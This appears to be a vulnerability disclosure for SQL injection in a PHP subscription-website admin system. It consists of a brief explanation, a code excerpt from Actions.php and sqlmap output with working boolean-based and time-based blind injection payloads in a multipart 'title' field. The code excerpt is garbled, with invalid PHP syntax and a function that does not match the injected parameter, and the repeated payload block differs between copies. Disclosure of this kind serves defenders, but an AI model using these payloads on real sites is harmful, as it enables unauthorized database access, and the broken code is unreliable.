

Simple Subscription Website with Admin System Actions.php has Sqlinjection

Simple Subscription Website with Admin System Actions.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```
OPEN EDITORS
X Actions.php
PLAN APPLICATION
css
# bootstrap-grid.css.map
# bootstrap-grid.min.css
# bootstrap-grid.min.css.map
# bootstrap-grid.rtl.css
# bootstrap-grid.rtl.css.map
# bootstrap-grid.rtl.min.css
# bootstrap-grid.rtl.min.css.map
# bootstrap-reboot.css
# bootstrap-reboot.css.map
# bootstrap-reboot.min.css
# bootstrap-reboot.min.css.map
# bootstrap-reboot.rtl.css
# bootstrap-reboot.rtl.css.map
# bootstrap-reboot.rtl.min.css
# bootstrap-reboot.rtl.min.css.map
# bootstrap-utilities.css
# bootstrap-utilities.css.map
# bootstrap-utilities.min.css
# bootstrap-utilities.min.css.map
# bootstrap-utilities.rtl.css
# bootstrap-utilities.rtl.css.map
# bootstrap-utilities.rtl.min.css
# bootstrap-utilities.rtl.min.css.map
# bootstrap.css
# bootstrap.css.map
# bootstrap.min.css
# bootstrap.min.css.map
# bootstrap.rtl.css
# bootstrap.rtl.css.map

Actions.php
4 Class Actions extends DBConnection{
67     function save_user(){
71         if(!in_array($k,array('id','type'))){
72             if(!empty($id)){
73                 //update
74             }
75         }
76     }
77     if(empty($id)){
78         $cols[] = 'password';
79         $values[] = "'".md5($username)."'";
80     }
81     if(isset($cols) && isset($values)){
82         $data = ("'.implode(',',$cols).'") VALUES ('.implode(',',$values).");
83     }
84 }
85
86 @ $check= $this->query("SELECT count(admin_id) as `count` FROM admin_list where `username` = '{$username}'");
87 if(@$check > 0){
88     $resp['status'] = 'failed';
89     $resp['msg'] = "Username already exists.";
90 }else{
91     if(empty($id)){
92         $sql = "INSERT INTO `admin_list` {$data}";
93     }else{
94         $sql = "UPDATE `admin_list` set {$data} where admin_id = '{$id}'";
95     }
96     @ $save = $this->query($sql);
97     if($save){
98         $resp['status'] = 'success';
99         if(empty($id))
100             $resp['msg'] = 'New Admin User successfully saved.';
101         else
102             $resp['msg'] = 'Admin User Details successfully updated.';
103     }
104 }
```

```
(custom) POST parameter 'MULTIPART' title is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 130 HTTP(s) requests:
---
Parameter: MULTIPART title ((custom) POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: -----WebKitFormBoundaryTkG6ojle60ePRYk
Content-Disposition: form-data; name="id"

-----WebKitFormBoundaryTkG6ojle60ePRYk
Content-Disposition: form-data; name="title"

123' AND 1198=1198 AND 'JbJs'='JbJs
-----WebKitFormBoundaryTkG6ojle60ePRYk
Content-Disposition: form-data; name="description"

<p>123</p>
-----WebKitFormBoundaryTkG6ojle60ePRYk
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

-----WebKitFormBoundaryTkG6ojle60ePRYk
Content-Disposition: form-data; name="current_price"

0123
-----WebKitFormBoundaryTkG6ojle60ePRYk
Content-Disposition: form-data; name="before_price"

0123
-----WebKitFormBoundaryTkG6ojle60ePRYk
Content-Disposition: form-data; name="subscription_type"
```

Sqlmap Attack

sqlmap identified the following injection point(s)
with a total of 130 HTTP(s) requests:

Parameter: MULTIPART title ((custom) POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING

clause

Payload: -----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="id"

-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="title"

123' AND 1198=1198 AND 'JbJs'='JbJs
-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="description"

<p>123</p>
-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="files";
filename=""
Content-Type: application/octet-stream

-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="current_price"

0123
-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="before_price"

0123
-----WebKitFormBoundarytTkg6ojle60ePRYk

Content-Disposition: form-data;
name="subscription_type"

123

-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="status"

1

-----WebKitFormBoundarytTkg6ojle60ePRYk--

Type: time-based blind

Title: SQLite > 2.0 AND time-based blind (heavy query)

Payload: -----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="id"

-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="title"

123' AND

7828=LIKE (CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOM
BLOB(500000000/2)))) AND 'lQFH'='lQFH

-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="description"

<p>123</p>

-----WebKitFormBoundarytTkg6ojle60ePRYk

Content-Disposition: form-data; name="files";
filename=""
Content-Type: application/octet-stream

-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="current_price"

0123

-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="before_price"

0123

-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data;
name="subscription_type"

123

-----WebKitFormBoundarytTkg6ojle60ePRYk
Content-Disposition: form-data; name="status"

1

-----WebKitFormBoundarytTkg6ojle60ePRYk--
